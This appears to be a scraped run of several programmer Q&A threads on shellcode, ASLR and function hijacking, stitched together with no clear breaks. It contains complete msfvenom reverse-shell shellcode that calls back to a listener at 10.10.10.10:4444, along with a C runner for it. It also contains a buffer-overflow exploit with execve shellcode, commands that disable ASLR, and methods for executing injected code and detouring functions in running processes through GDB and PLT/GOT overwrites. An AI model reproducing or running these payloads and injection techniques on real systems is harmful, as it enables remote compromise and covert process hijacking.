I am trying to run this C code :
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x0a\x0a\x0a\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main(int argc, char **argv) {
printf("Starting shellcode ......");
int (*func)();
func = (int (*)())code;
int x = (int)(*func)();
printf("result %i \n", x);
return x;
}
The shellcode is made to create a reverse shell on port 4444 and IP 10.10.10.10. I got it with the following command :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f C
I compile it with :
x86_64-w64-mingw32-g++ bad_code.c -o simple.exe
When I transfer the file to my target VM (windows 10 64 bits) I get the message "Starting shellcode ......" but on my attacker machine I get nothing with netcat, meaning the shellcode is not running properly.
However if I run the exe from :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > simple_noC.exe
everything works and I get my reverse shell. My theory is that something is wrong in my C program.
What is wrong in my C code ? Am I missing something ? Thanks for your help.
Creating a reverse shell requires usage of the OS API. Because of Address Space Layout Randomization (ASLR) the addresses you rely on can change each time the OS restarts. For example if you call, MessageBoxA the loader will locate the import address of User32 as well as the offset to MessageBoxA which in turn points to the actual function in memory.
Now if you save that address address or call in a piece of shell to later load and run, you can not ensure that MessageBox will get executed. Simply because both the Import address of user32 can change as well as the function address in memory.
One way to resolve this would be for your shell to call GetProcAddress of course this is also unreliable because the location of kernel32 can change and so can the address of the function.
The ideal solution would be for your shell to behave as a sole executable which can resolve imports, load any dynamic libraries, and perform address rebasing in case the location of the module is unavailable.
Or You can resolve the address of kernel32 manually using Process Environment Block, then locate the address of your necessary functions by walking the import address table and comparing the function name hashes.
Related
By using the objdump command I figured that the address 0x02a8 in memory contains start the path /lib64/ld-linux-x86-64.so.2, and this path ends with a 0x00 byte, due to the C standard.
So I tried to write a simple C program that will print this line (I used a sample from the book "RE for beginners" by Denis Yurichev - page 24):
#include <stdio.h>
int main(){
printf(0x02a8);
return 0;
}
But I was disappointed to get a segmentation fault instead of the expected /lib64/ld-linux-x86-64.so.2 output.
I find it strange to use such a "fast" call of printf without specifiers or at least pointer cast, so I tried to make the code more natural:
#include <stdio.h>
int main(){
char *p = (char*)0x02a8;
printf(p);
printf("\n");
return 0;
}
And after running this I still got a segmentation fault.
I don't believe this is happening because of restricted memory areas, because in the book it all goes well at the 1st try. I am not sure, maybe there is something more that wasn't mentioned in that book.
So need some clear explanation of why the segmentation faults keep happening every time I try running the program.
I'm using the latest fully-upgraded Kali Linux release.
Disappointing to see that your "RE for beginners" book does not go into the basics first, and spits out this nonsense. Nonetheless, what you are doing is obviously wrong, let me explain why.
Normally on Linux, GCC produces ELF executables that are position independent. This is done for security purposes. When the program is run, the operating system is able to place it anywhere in memory (at any address), and the program will work just fine. This technique is called Address Space Layout Randomization, and is a feature of the operating system that nowdays is enabled by default.
Normally, an ELF program would have a "base address", and would be loaded exactly at that address in order to work. However, in case of a position independent ELF, the "base address" is set to 0x0, and the operating system and the interpreter decide where to put the program at runtime.
When using objdump on a position independent executable, every address that you see is not a real address, but rather, an offset from the base of the program (that will only be known at runtime). Therefore it is not possible to know the position of such a string (or any other variable) at runtime.
If you want the above to work, you will have to compile an ELF that is not position independent. You can do so like this:
gcc -no-pie -fno-pie prog.c -o prog
It no longer works like that. The 64-bit Linux executables that you're likely using are position-independent and they're loaded into memory at an arbitrary address. In that case ELF file does not contain any fixed base address.
While you could make a position-dependent executable as instructed by Marco Bonelli it is not how things work for arbitrary executables on modern 64-bit linuxen, so it is more worthwhile to learn to do this with position-independent ones, but it is a bit trickier.
This worked for me to print ELF i.e. the elf header magic, and the interpreter string. This is dirty in that it probably only works for a small executable anyway.
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
int main(){
// convert main to uintptr_t
uintptr_t main_addr = (uintptr_t)main;
// clear bottom 12 bits so that it points to the beginning of page
main_addr &= ~0xFFFLLU;
// subtract one page so that we're in the elf headers...
main_addr -= 0x1000;
// elf magic
puts((char *)main_addr);
// interpreter string, offset from hexdump!
puts((char *)main_addr + 0x318);
}
There is another trick to find the beginning of the ELF executable in memory: the so-called auxiliary vector and getauxval:
The getauxval() function retrieves values from the auxiliary vector,
a mechanism that the kernel's ELF binary loader uses to pass certain
information to user space when a program is executed.
The location of the ELF program headers in memory will be
#include <sys/auxv.h>
char *program_headers = (char*)getauxval(AT_PHDR);
The actual ELF header is 64 bytes long, and the program headers start at byte 64 so if you subtract 64 from this you will get a pointer to the magic string again, therefore our code can be simplified to
#include <stdio.h>
#include <inttypes.h>
#include <sys/auxv.h>
int main(){
char *elf_header = (char *)getauxval(AT_PHDR) - 0x40;
puts(elf_header + 0x318); // or whatever the offset was in your executable
}
And finally, an executable that figures out the interpreter position from the ELF headers alone, provided that you've got a 64-bit ELF, magic numbers from Wikipedia...
#include <stdio.h>
#include <inttypes.h>
#include <sys/auxv.h>
int main() {
// get pointer to the first program header
char *ph = (char *)getauxval(AT_PHDR);
// elf header at this position
char *elfh = ph - 0x40;
// segment type 0x3 is the interpreter;
// program header item length 0x38 in 64-bit executables
while (*(uint32_t *)ph != 3) ph += 0x38;
// the offset is 64 bits at 0x8 from the beginning of the
// executable
uint64_t offset = *(uint64_t *)(ph + 0x8);
// print the interpreter path...
puts(elfh + offset);
}
I guess it segfaults because of the way you use printf: you dont use the format parameter how it is designed to be.
When you want to use the printf function to read data the first argument it takes is a string that will format how the display will work int printf(char *fmt , ...) "the ... represent the data you want to display accordingly to the format string parameter
so if you want to print a string
//format as text
printf("%s\n", pointer_to_beginning_of_string);
//
If this does not work cause it probably will it is because you are trying to read memory that you are not supposed to access.
try adding extra flags " -Werror -Wextra -Wall -pedantic " with your compiler and show us the errors please.
I am reading the book "Hacking: The art of exploitation" and I have some problems with the code of exploit_notesearch_env.c It is attempting to do a buffer overflow exploit by calling the program to be exploited with the execle() function. That way the only environment variable of the program to be exploited will be the shellcode.
My problem is that I can't figure the address of the shellcode environment variable out. The book says that the base address was 0xbffffffa and then subtracts the size of the shellcode and the length of the program name from it to obtain the shellcode address.
This is the code of exploit_notesearch_env.c which calls the notesearch program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, (char *) 0};
uint64_t i, ret;
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
memset(buffer, '\x90', 120);
*((uint64_t *)(buffer+120)) = ret;
execle("./notesearch", "notesearch", buffer, (char *) 0, env);
free(buffer);
}
By the way the book uses a 32 bit Linux distro while I am using Kali Linux 2019.4 64 bit version which might be the origin of the problem.
The shellcode is already adjusted for 64 bits and the program correctly overflows the buffer, but with the wrong address.
Does anyone know the right substitute for the address 0xbffffffa from the book?
What is the base address of a c program environment from the execle command?
Impossible to say.
Does anyone know the right substitute for the address 0xbffffffa from the book?
No, nobody knows except your operating system.
First of all, on modern Linux systems, Address Space Layout Randomization (ASLR) is usually enabled by default. This means that every program you run will have different randomized base addresses for the stack, the heap, the binary itself and any other library or virtual memory page.
This randomization is done by the kernel itself. In order to disable ASLR, you can start the program under GDB (which disables it for you only for the started process), or you can temporarily disable it system-wide with the sysctl command, setting kernel.randomize_va_space to 0 for no ASLR and to 2 for normal ASLR.
sudo sysctl -w kernel.randomize_va_space=0 # disabled
sudo sysctl -w kernel.randomize_va_space=2 # enabled
However, even after disabling ASLR, it's still not possible to know the position of the stack beforehand, you will have to run your program under GDB at least once to check the address first (environment variables are at the bottom of the stack). There really is no other way, other than writing your own linker script, which is not that simple.
If your book did not cover these concepts before, then I strongly suggest you to find another book, because jumping right to the code without explaining anything first doesn't make much sense.
I have downloaded and compiled Apples source and added it to Xcode.app/Contents/Developer/usr/bin/include/c++/v1. Now how do I go about implementing in C? The code I am working with is from this post about Hackadays shellcode executer. My code is currently like so:
#include <stdio.h>
#include <stdlib.h>
unsigned char shellcode[] = "\x31\xFA......";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
printf("2\n");
}
I have compiled with both:
gcc -fno-stack-protector shell.c
clang -fno-stack-protector shell.c
I guess my final question is, how do I tell the compiler to implement "__enable_execute_stack"?
The stack protector is different from an executable stack. That introduces canaries to detect when the stack has been corrupted.
To get an executable stack, you have to link saying to use an executable stack. It goes without saying that this is a bad idea as it makes attacks easier.
The option for the linker is -allow_stack_execute, which turns into the gcc/clang command line:
clang -Wl,-allow_stack_execute -fno-stack-protector shell.c
your code, however, does not try to execute code on the stack, but it does attempt to change a small amount of the stack content, trying to accomplish a return to the shellcode, which is one of the most common ROP attacks.
On a typically compiled OSX 32bit environment this would be attempting to overwrite what is called the linkage area (this is the address of the next instruction that will be called upon function return). This assumes that the code was not compiled with -fomit-frame-pointer. If it's compiled with this option, then you're actually moving one extra address up.
On OSX 64bit it uses the 64bit ABI, the registers are 64bit, and all the values would need to be referenced by long rather than by int, however the manner is similar.
The shellcode you've got there, though, is actually in the data segment of your code (because it's a char [] it means that it's readable/writable, not readable-executable. You would need to either mmap it (like nneonneo's answer) or copy it into the now-executable stack, get it's address and call it that way.
However, if you're just trying to get code to run, then nneonneo's answer makes it pretty easy, but if you're trying to experiment with exploit-y code, then you're going to have to do a little more work. Because of the non-executable stack, the new kids use return-to-library mechanisms, trying to get the return to call, say, one of the exec/system calls with data from the stack.
With modern execution protections in place, it's a bit tricky to get shellcode to run like this. Note that your code is not attempting to execute code on the stack; rather, it is storing the address of the shellcode on the stack, and the actual code is in the program's data segment.
You've got a couple options to make it work:
Put the shellcode in an actual executable section, so it is executable code. You can do this with __attribute__((section("name"))) with GCC and Clang. On OS X:
const char code[] __attribute__((section("__TEXT,__text"))) = "...";
followed by a
((void (*)(void))code)();
works great. On Linux, use the section name ".text" instead.
Use mmap to create a read-write section of memory, copy your shellcode, then mprotect it so it has read-execute permissions, then execute it. This is how modern JITs execute dynamically-generated code. An example:
#include <sys/mman.h>
void execute_code(const void *code, size_t codesize) {
size_t pagesize = (codesize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
void *chunk = mmap(NULL, pagesize, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if(chunk == MAP_FAILED) return;
memcpy(chunk, code, codesize);
mprotect(chunk, pagesize, PROT_READ|PROT_EXEC);
((void (*)(void)chunk)();
munmap(chunk, pagesize);
}
Neither of these methods requires you to specify any special compiler flags to work properly, and neither of them require fiddling with the saved EIP on the stack.
I'm writing some code that stores a backtrace for each memory allocation. I'm then writing a list of these to a file for offline analysis. In win32 I use _AddressOfReturnAddress and then manually create the backtrace. Since the address is random for each run I use GetModuleInformation and lpBaseOfDll to get the base address. This works great on x86 without FPO, which is good enough for me. I then load the PDB using win32 API to translate the address to function name.
How would I do this on linux? My current approach is to use __builtin_return_address(x) and addr2line offline to get the same result. The problem is that the addresses are randomized each run, so addr2line doesn't understand them. __executable_start didn't work as it returns the same value each run. Is there any way to get the base address of my executable in runtime?
One run gives me this:
__executable_start: 0x8048000
backtrace:
0x9cce628
0x9cce2b8
0x9cce260
0x9cce1f8
0x9cce138
0x9cce0c8
0x9cce060
0x9cce008
And the next:
__executable_start: 0x8048000
backtrace:
0x8db6628
0x8db62b8
0x8db6260
0x8db61f8
0x8db6138
0x8db60c8
0x8db6060
0x8db6008
And so on.
You can use the dl_iterate_phdr() on Linux to determine the load address of each dynamically loaded object:
#define _GNU_SOURCE
#include <stdio.h>
#include <link.h>
int callback(struct dl_phdr_info *info, size_t size, void *data)
{
printf("%s # %#lx\n", info->dlpi_name, (unsigned long)info->dlpi_addr);
return 0;
}
int main()
{
dl_iterate_phdr(&callback, NULL);
return 0;
}
I'll explain:
Let's say I'm interested in replacing the rand() function used by a certain application.
So I attach gdb to this process and make it load my custom shared library (which has a customized rand() function):
call (int) dlopen("path_to_library/asdf.so")
This would place the customized rand() function inside the process' memory. However, at this point the symbol rand will still point to the default rand() function. Is there a way to make gdb point the symbol to the new rand() function, forcing the process to use my version?
I must say I'm also not allowed to use the LD_PRELOAD (linux) nor DYLD_INSERT_LIBRARIES (mac os x) methods for this, because they allow code injection only in the beginning of the program execution.
The application that I would like to replace rand(), starts several threads and some of them start new processes, and I'm interested in injecting code on one of these new processes. As I mentioned above, GDB is great for this purpose because it allows code injection into a specific process.
I followed this post and this presentation and came up with the following set of gdb commands for OSX with x86-64 executable, which can be loaded with -x option when attaching to the process:
set $s = dyld_stub_rand
set $p = ($s+6+*(int*)($s+2))
call (void*)dlsym((void*)dlopen("myrand.dylib"), "my_rand")
set *(void**)$p = my_rand
c
The magic is in set $p = ... command. dyld_stub_rand is a 6-byte jump instruction. Jump offset is at dyld_stub_rand+2 (4 bytes). This is a $rip-relative jump, so add offset to what $rip would be at this point (right after the instruction, dyld_stub_rand+6).
This points to a symbol table entry, which should be either real rand or dynamic linker routine to load it (if it was never called). It is then replaced by my_rand.
Sometimes gdb will pick up dyld_stub_rand from libSystem or another shared library, if that happens, unload them first with remove-symbol-file before running other commands.
This question intrigued me, so I did a little research. What you are looking for is a 'dll injection'. You write a function to replace some library function, put it in a .so, and tell ld to preload your dll. I just tried it out and it worked great! I realize this doesn't really answer your question in relation to gdb, but I think it offers a viable workaround.
For a gdb-only solution, see my other solution.
// -*- compile-command: "gcc -Wall -ggdb -o test test.c"; -*-
// test.c
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char** argv)
{
//should print a fairly random number...
printf("Super random number: %d\n", rand());
return 0;
}
/ -*- compile-command: "gcc -Wall -fPIC -shared my_rand.c -o my_rand.so"; -*-
//my_rand.c
int rand(void)
{
return 42;
}
compile both files, then run:
LD_PRELOAD="./my_rand.so" ./test
Super random number: 42
I have a new solution, based on the new original constraints. (I am not deleting my first answer, as others may find it useful.)
I have been doing a bunch of research, and I think it would work with a bit more fiddling.
In your .so rename your replacement rand function, e.g my_rand
Compile everything and load up gdb
Use info functions to find the address of rand in the symbol table
Use dlopen then dlsym to load the function into memory and get its address
call (int) dlopen("my_rand.so", 1) -> -val-
call (unsigned int) dlsym(-val-, "my_rand") -> my_rand_addr
-the tricky part- Find the hex code of a jumpq 0x*my_rand_addr* instruction
Use set {int}*rand_addr* = *my_rand_addr* to change symbol table instruction
Continue execution: now whenever rand is called, it will jump to my_rand instead
This is a bit complicated, and very round-about, but I'm pretty sure it would work. The only thing I haven't accomplished yet is creating the jumpq instruction code. Everything up until that point works fine.
I'm not sure how to do this in a running program, but perhaps LD_PRELOAD will work for you. If you set this environment variable to a list of shared objects, the runtime loader will load the shared object early in the process and allow the functions in it to take precedence over others.
LD_PRELOAD=path_to_library/asdf.so path/to/prog
You do have to do this before you start the process but you don't have to rebuild the program.
Several of the answers here and the code injection article you linked to in your answer cover chunks of what I consider the optimal gdb-oriented solution, but none of them pull it all together or cover all the points. The code-expression of the solution is a bit long, so here's a summary of the important steps:
Load the code to inject. Most of the answers posted here use what I consider the best approach -- call dlopen() in the inferior process to link in a shared library containing the injected code. In the article you linked to the author instead loaded a relocatable object file and hand-linked it against the inferior. This is quite frankly insane -- relocatable objects are not "ready-to-run" and include relocations even for internal references. And hand-linking is tedious and error-prone -- far simpler to let the real runtime dynamic linker do the work. This does mean getting libdl into the process in the first place, but there are many options for doing that.
Create a detour. Most of the answers posted here so far have involved locating the PLT entry for the function of interest, using that to find the matching GOT entry, then modifying the GOT entry to point to your injected function. This is fine up to a point, but certain linker features -- e.g., use of dlsym -- can circumvent the GOT and provide direct access to the function of interest. The only way to be certain of intercepting all calls to a particular function is overwrite the initial instructions of that function's code in-memory to create a "detour" redirecting execution to your injected function.
Create a trampoline (optional). Frequently when doing this sort of injection you'll want to call the original function whose invocation you are intercepting. The way to allow this with a function detour is to create a small code "trampoline" which includes the overwritten instructions of the original function then a jump to the remainder of the original. This can be complex, because any IP-relative instructions in the copied set need to be modified to account for their new addresses.
Automate it all. These steps can be tedious, even if doing some of the simpler solutions posted in other answers. The best way to ensure that the steps are done correctly every time with variable parameters (injecting different functions, etc) is to automate their execution. Starting with the 7.0 series, gdb has included the ability to write new commands in Python. This support can be used to implement a turn-key solution for injecting and detouring code in/to the inferior process.
Here's an example. I have the same a and b executables as before and an inject2.so created from the following code:
#include <unistd.h>
#include <stdio.h>
int (*rand__)(void) = NULL;
int
rand(void)
{
int result = rand__();
printf("rand invoked! result = %d\n", result);
return result % 47;
}
I can then place my Python detour command in detour.py and have the following gdb session:
(gdb) source detour.py
(gdb) exec-file a
(gdb) set follow-fork-mode child
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/llasram/ws/detour/a
a: 1933263113
a: 831502921
[New process 8500]
b: 918844931
process 8500 is executing new program: /home/llasram/ws/detour/b
[Switching to process 8500]
Catchpoint 1 (exec'd /home/llasram/ws/detour/b), 0x00007ffff7ddfaf0 in _start ()
from /lib64/ld-linux-x86-64.so.2
(gdb) break main
Breakpoint 2 at 0x4005d0: file b.c, line 7.
(gdb) cont
Continuing.
Breakpoint 2, main (argc=1, argv=0x7fffffffdd68) at b.c:7
7 {
(gdb) detour libc.so.6:rand inject2.so:rand inject2.so:rand__
(gdb) cont
Continuing.
rand invoked! result = 392103444
b: 22
Program exited normally.
In the child process, I create a detour from the rand() function in libc.so.6 to the rand() function in inject2.so and store a pointer to a trampoline for the original rand() in the rand__ variable of inject2.so. And as expected, the injected code calls the original, displays the full result, and returns that result modulo 47.
Due to length, I'm just linking to a pastie containing the code for my detour command. This is a fairly superficial implementation (especially in terms of the trampoline generation), but it should work well in a large percentage of cases. I've tested it with gdb 7.2 (most recently released version) on Linux with both 32-bit and 64-bit executables. I haven't tested it on OS X, but any differences should be relatively minor.
For executables you can easily find the address where the function pointer is stored by using objdump. For example:
objdump -R /bin/bash | grep write
00000000006db558 R_X86_64_JUMP_SLOT fwrite
00000000006db5a0 R_X86_64_JUMP_SLOT write
Therefore, 0x6db5a0 is the adress of the pointer for write. If you change it, calls to write will be redirected to your chosen function. Loading new libraries in gdb and getting function pointers has been covered in earlier posts. The executable and every library have their own pointers. Replacing affects only the module whose pointer was changed.
For libraries, you need to find the base address of the library and add it to the address given by objdump. In Linux, /proc/<pid>/maps gives it out. I don't know whether position-independent executables with address randomization would work. maps-information might be unavailable in such cases.
As long as the function you want to replace is in a shared library, you can redirect calls to that function at runtime (during debugging) by poking at the PLT. Here is an article that might be helpful:
Shared library call redirection using ELF PLT infection
It's written from the standpoint of malware modifying a program, but a much easier procedure is adaptable to live use in the debugger. Basically you just need to find the function's entry in the PLT and overwrite the address with the address of the function you want to replace it with.
Googling for "PLT" along with terms like "ELF", "shared library", "dynamic linking", "PIC", etc. might find you more details on the subject.
You can still us LD_PRELOAD if you make the preloaded function understand the situations it's getting used in. Here is an example that will use the rand() as normal, except inside a forked process when it will always return 42. I use the dl routines to load the standard library's rand() function into a function pointer for use by the hijacked rand().
// -*- compile-command: "gcc -Wall -fPIC -shared my_rand.c -o my_rand.so -ldl"; -*-
//my_rand.c
#include <sys/types.h>
#include <unistd.h>
#include <dlfcn.h>
int pid = 0;
int (*real_rand)(void) = NULL;
void f(void) __attribute__ ((constructor));
void f(void) {
pid = getpid();
void* dl = dlopen("libc.so.6", RTLD_LAZY);
if(dl) {
real_rand = dlsym(dl, "rand");
}
}
int rand(void)
{
if(pid == getpid() && real_rand)
return real_rand();
else
return 42;
}
//test.c
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char** argv)
{
printf("Super random number: %d\n", rand());
if(fork()) {
printf("original process rand: %d\n", rand());
} else {
printf("forked process rand: %d\n", rand());
}
return 0;
}
jdizzle#pudding:~$ ./test
Super random number: 1804289383
original process rand: 846930886
forked process rand: 846930886
jdizzle#pudding:~$ LD_PRELOAD="/lib/ld-linux.so.2 ./my_rand.so" ./test
Super random number: 1804289383
original process rand: 846930886
forked process rand: 42
I found this tutorial incredibly useful, and so far its the only way I managed to achieve what I was looking with GDB: Code Injection into Running Linux Application: http://www.codeproject.com/KB/DLL/code_injection.aspx
There is also a good Q&A on code injection for Mac here: http://www.mikeash.com/pyblog/friday-qa-2009-01-30-code-injection.html
I frequently use code injection as a method of mocking for automated testing of C code. If that's the sort of situation you're in -- if your use of GDB is simply because you're not interested in the parent processes, and not because you want to interactively select the processes which are of interest -- then you can still use LD_PRELOAD to achieve your solution. Your injected code just needs to determine whether it is in the parent or child processes. There are several ways you could do this, but on Linux, since your child processes exec(), the simplest is probably to look at the active executable image.
I produced two executables, one named a and the other b. Executable a prints the result of calling rand() twice, then fork()s and exec()s b twice. Executable b print the result of calling rand() once. I use LD_PRELOAD to inject the result of compiling the following code into the executables:
// -*- compile-command: "gcc -D_GNU_SOURCE=1 -Wall -std=gnu99 -O2 -pipe -fPIC -shared -o inject.so inject.c"; -*-
#include <sys/types.h>
#include <unistd.h>
#include <limits.h>
#include <stdio.h>
#include <dlfcn.h>
#define constructor __attribute__((__constructor__))
typedef int (*rand_t)(void);
typedef enum {
UNKNOWN,
PARENT,
CHILD
} state_t;
state_t state = UNKNOWN;
rand_t rand__ = NULL;
state_t
determine_state(void)
{
pid_t pid = getpid();
char linkpath[PATH_MAX] = { 0, };
char exepath[PATH_MAX] = { 0, };
ssize_t exesz = 0;
snprintf(linkpath, PATH_MAX, "/proc/%d/exe", pid);
exesz = readlink(linkpath, exepath, PATH_MAX);
if (exesz < 0)
return UNKNOWN;
switch (exepath[exesz - 1]) {
case 'a':
return PARENT;
case 'b':
return CHILD;
}
return UNKNOWN;
}
int
rand(void)
{
if (state == CHILD)
return 47;
return rand__();
}
constructor static void
inject_init(void)
{
rand__ = dlsym(RTLD_NEXT, "rand");
state = determine_state();
}
The result of running a with and without injection:
$ ./a
a: 644034683
a: 2011954203
b: 375870504
b: 1222326746
$ LD_PRELOAD=$PWD/inject.so ./a
a: 1023059566
a: 986551064
b: 47
b: 47
I'll post a gdb-oriented solution later.